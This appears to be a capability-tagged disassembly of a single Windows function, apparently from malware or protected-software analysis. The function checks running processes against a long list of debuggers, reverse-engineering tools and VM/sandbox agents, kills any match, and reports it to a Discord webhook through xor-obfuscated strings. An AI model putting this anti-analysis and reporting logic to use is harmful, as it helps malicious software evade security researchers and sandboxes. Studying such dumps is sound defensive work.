Function at 0x44ad80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x475ec2
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1e70
call fcn.00474050
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x170], str.udcfp.exe
mov dword [ebp - 0x16c], str.vm3dservice.exe
mov dword [ebp - 0x168], str.die.exe
mov dword [ebp - 0x164], str.cheatengine___x86_64.exe
mov dword [ebp - 0x160], str.ollydbg.exe
mov dword [ebp - 0x15c], str.ida.exe
mov dword [ebp - 0x158], str.ida64.exe
mov dword [ebp - 0x154], str.radare2.exe
mov dword [ebp - 0x150], str.x64dbg.exe
mov dword [ebp - 0x14c], str.httpdebuggerui.exe
mov dword [ebp - 0x148], str.wireshark.exe
mov dword [ebp - 0x144], str.HTTPDebuggerSvc.exe
mov dword [ebp - 0x140], str.fiddler.exe
mov dword [ebp - 0x13c], str.ObsidianGUI.exe
mov dword [ebp - 0x138], str.vboxservice.exe
mov dword [ebp - 0x134], str.Rock_Debugger.exe
mov dword [ebp - 0x130], str.OLLYDBG.exe
mov dword [ebp - 0x12c], str.procmon64.exe
mov dword [ebp - 0x128], str.codecracker.exe
mov dword [ebp - 0x124], str.x96dbg.exe
mov dword [ebp - 0x120], str.pizza.exe
mov dword [ebp - 0x11c], str.pepper.exe
mov dword [ebp - 0x118], str.reverse.exe
mov dword [ebp - 0x114], str.reversal.exe
mov dword [ebp - 0x110], str.de4dot.exe
mov dword [ebp - 0x10c], str.pc_ret.exe
mov dword [ebp - 0x108], str.crack.exe
mov dword [ebp - 0x104], str.ILSpy.exe
mov dword [ebp - 0x100], str.x32dbg.exe
mov dword [ebp - 0xfc], str.sharpod.exe
mov dword [ebp - 0xf8], str.x64dbg.exe
mov dword [ebp - 0xf4], str.x32_dbg.exe
mov dword [ebp - 0xf0], str.x64_dbg.exe
mov dword [ebp - 0xec], str.debug.exe
mov dword [ebp - 0xe8], str.dbg.exe
mov dword [ebp - 0xe4], str.strongod.exe
mov dword [ebp - 0xe0], str.PhantOm.exe
mov dword [ebp - 0xdc], str.titanHide.exe
mov dword [ebp - 0xd8], str.scyllaHide.exe
mov dword [ebp - 0xd4], str.ilspy.exe
mov dword [ebp - 0xd0], str.graywol.exef
mov dword [ebp - 0xcc], str.simpleassemblyexplorer.exe
mov dword [ebp - 0xc8], str.whatchanged.exe
mov dword [ebp - 0xc4], str.tcpview64.exe
mov dword [ebp - 0xc0], str.RegFromApp.exe
mov dword [ebp - 0xbc], str.RegFromApp.exe
mov dword [ebp - 0xb8], str.Procmon.exe
mov dword [ebp - 0xb4], str.procexp.exe
mov dword [ebp - 0xb0], str.Autoruns.exe
mov dword [ebp - 0xac], str.bintext.exe
mov dword [ebp - 0xa8], str.TextScan.exe
mov dword [ebp - 0xa4], str.Ollydbg.exe
mov dword [ebp - 0xa0], str.procdump64.exe
mov dword [ebp - 0x9c], str.procdump.exe
mov dword [ebp - 0x98], str.procdump86.exe
mov dword [ebp - 0x94], str.procdump32.exe
mov dword [ebp - 0x90], str.LunarEngine.exe
mov dword [ebp - 0x8c], str.LunarEngine_x64.exe
mov dword [ebp - 0x88], str.CheatEngine.exe
mov dword [ebp - 0x84], str.processhacker.exe
mov dword [ebp - 0x80], str.vboxtray.exe
mov dword [ebp - 0x7c], str.vmtoolsd.exe
mov dword [ebp - 0x78], str.vmwaretray.exe
mov dword [ebp - 0x74], str.ida64.exe
mov dword [ebp - 0x70], str.ollydbg.exe
mov dword [ebp - 0x6c], str.pestudio.exe
mov dword [ebp - 0x68], str.vmwareuser
mov dword [ebp - 0x64], str.vgauthservice.exe
mov dword [ebp - 0x60], str.vmacthlp.exe
mov dword [ebp - 0x5c], str.x96dbg.exe
mov dword [ebp - 0x58], str.vmsrvc.exe
mov dword [ebp - 0x54], str.x32dbg.exe
mov dword [ebp - 0x50], str.vmusrvc.exe
mov dword [ebp - 0x4c], str.prl_cc.exe
mov dword [ebp - 0x48], str.prl_tools.exe
mov dword [ebp - 0x44], str.xenservice.exe
mov dword [ebp - 0x40], str.qemu_ga.exe
mov dword [ebp - 0x3c], str.joeboxcontrol.exe
mov dword [ebp - 0x38], str.ksdumperclient.exe
mov dword [ebp - 0x34], str.ksdumper.exe
mov dword [ebp - 0x30], str.joeboxserver.exe
lea esi, [ebp - 0x170]
mov dword [ebp - 0x2c], str.peview.exe
mov dword [ebp - 0x28], str.HTTPDebuggerSvc.exe
mov dword [ebp - 0x24], str.processhacker.exe
mov dword [ebp - 0x20], str.ProcessHacker.exe
mov dword [ebp - 0x17c4], esi
nop dword [eax + eax]
push 0
push 2
mov dword [ebp - 0x17c0], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x17c0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x44b153
nop dword [eax + eax]
push dword [esi]
lea eax, [ebp - 0x179c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x44b141
push dword [ebp - 0x17b8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x44b18c
mov esi, dword [ebp - 0x17c4]
lea eax, [ebp - 0x17c0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x44b110
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x17c4], esi
cmp esi, eax
jne 0x44b0e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, dword [ebp - 0x17c4]
lea ecx, [ebp - 0x1a0]
push dword [eax]
call fcn.004666f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x188]
push 0x4797c6
mov dword [ebp - 0x1830], 0
mov dword [ebp - 0x182c], 0
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 1
movq xmm0, qword [ebp - 0x1830]
lea ecx, [ebp - 0x1698]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x188]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 3
call fcn.004665d0
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x1468]
call fcn.00465a10
movaps xmm0, xmmword [0x48b870]
xor ecx, ecx
movups xmmword [ebp - 0x1910], xmm0
mov dword [ebp - 0x18a0], 0x4175425d
movaps xmm0, xmmword [0x48b900]
movups xmmword [ebp - 0x1900], xmm0
mov dword [ebp - 0x189c], 0x654b762b
movaps xmm0, xmmword [0x48a160]
movups xmmword [ebp - 0x18f0], xmm0
mov word [ebp - 0x1898], 0x4223
movaps xmm0, xmmword [0x48aba0]
movups xmmword [ebp - 0x18e0], xmm0
mov byte [ebp - 0x1896], 0
movaps xmm0, xmmword [0x489f40]
movups xmmword [ebp - 0x18d0], xmm0
movaps xmm0, xmmword [0x48a020]
movups xmmword [ebp - 0x18c0], xmm0
movaps xmm0, xmmword [0x48b040]
movups xmmword [ebp - 0x18b0], xmm0
nop dword [eax]
mov al, byte [ebp - 0x1910]
xor byte [ebp + ecx - 0x190f], al
inc ecx
cmp ecx, 0x79
jb 0x44b2c0
lea eax, [ebp - 0x190f]
mov byte [ebp - 0x1896], 0
push eax
lea ecx, [ebp - 0x1928]
call fcn.004666f0
lea eax, [ebp - 0x1928]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x228]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x1928]
mov byte [ebp - 4], 6
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x188]
call fcn.004666f0
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x1830], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x48b380]
movups xmmword [ebp - 0x1854], xmm0
mov dword [ebp - 0x1834], 0x6e6864
movaps xmm0, xmmword [0x48b3f0]
movups xmmword [ebp - 0x1844], xmm0
nop dword [eax]
mov al, byte [ebp - 0x1854]
xor byte [ebp + ecx - 0x1853], al
inc ecx
cmp ecx, 0x22
jb 0x44b360
movaps xmm0, xmmword [0x48a690]
xor ecx, ecx
movups xmmword [ebp - 0x17f4], xmm0
mov byte [ebp - 0x1831], 0
movaps xmm0, xmmword [0x48a770]
movups xmmword [ebp - 0x17e4], xmm0
mov dword [ebp - 0x17d4], 0x212b3533
mov dword [ebp - 0x17d0], 0x6e734e21
mov dword [ebp - 0x17cc], 0x21212b31
mov byte [ebp - 0x17c8], 0
nop dword [eax]
mov al, byte [ebp - 0x17f4]
xor byte [ebp + ecx - 0x17f3], al
inc ecx
cmp ecx, 0x2b
jb 0x44b3c0
movaps xmm0, xmmword [0x48a310]
xor ecx, ecx
movups xmmword [ebp - 0x188c], xmm0
mov byte [ebp - 0x17c8], 0
movaps xmm0, xmmword [0x48a170]
movups xmmword [ebp - 0x187c], xmm0
mov dword [ebp - 0x185c], 0x353f2578
movaps xmm0, xmmword [0x48b630]
movups xmmword [ebp - 0x186c], xmm0
mov word [ebp - 0x1858], 0x1635
mov byte [ebp - 0x1856], 0
mov al, byte [ebp - 0x188c]
xor byte [ebp + ecx - 0x188b], al
inc ecx
cmp ecx, 0x35
jb 0x44b420
lea ecx, [ebp - 0x19d0]
mov byte [ebp - 0x1856], 0
call fcn.0043d500
mov edx, eax
mov byte [ebp - 4], 8
xor ecx, ecx
movaps xmm0, xmmword [str.0_f_nC__YUBF_n]
movups xmmword [ebp - 0x1820], xmm0
mov dword [ebp - 0x1800], 0x1a1a100e
movaps xmm0, xmmword [0x4896f0]
movups xmmword [ebp - 0x1810], xmm0
mov dword [ebp - 0x17fc], 0xa73717d
mov dword [ebp - 0x17f8], 0x391a1a
nop word [eax + eax]
mov al, byte [ebp - 0x1820]
xor byte [ebp + ecx - 0x181f], al
inc ecx
cmp ecx, 0x2a
jb 0x44b490
push edx
lea edx, [ebp - 0x181f]
mov byte [ebp - 0x17f5], 0
lea ecx, [ebp - 0x19b8]
call fcn.00467de0
add esp, 4
lea ecx, [ebp - 0x188b]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x19a0]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x1988]
call fcn.00467f20
add esp, 4
lea ecx, [ebp - 0x17f3]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x1970]
call fcn.00467eb0
add esp, 4
push 0x49466c
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1958]
call fcn.00467f20
add esp, 4
lea ecx, [ebp - 0x1853]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x1940]
call fcn.00467eb0
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x1e80]
mov byte [ebp - 4], 0xe
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov edi, eax
lea eax, [ebp - 0x188]
mov byte [ebp - 4], 0xf
push eax
sub esp, 8
lea eax, [ebp - 0x1830]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push edi
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x1c28]
push eax
lea ecx, [ebp - 0x1698]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov edi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x1c28]
call edi
lea ecx, [ebp - 0x1e80]
call edi
lea ecx, [ebp - 0x1940]
call fcn.004665d0
lea ecx, [ebp - 0x1958]
call fcn.004665d0
lea ecx, [ebp - 0x1970]
call fcn.004665d0
lea ecx, [ebp - 0x1988]
call fcn.004665d0
lea ecx, [ebp - 0x19a0]
call fcn.004665d0
lea ecx, [ebp - 0x19b8]
call fcn.004665d0
lea ecx, [ebp - 0x19d0]
call fcn.004665d0
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 6
call fcn.004665d0
cmp byte [0x49527d], 0
je 0x44b64e
lea eax, [ebp - 0x1a0]
mov edx, str.encontrou_o_exe
push eax
lea ecx, [ebp - 0x188]
call fcn.00467d80
add esp, 4
lea ecx, [ebp - 0x188]
push 0
push 0x486c98
call fcn.00466330
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x188]
call fcn.004665d0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3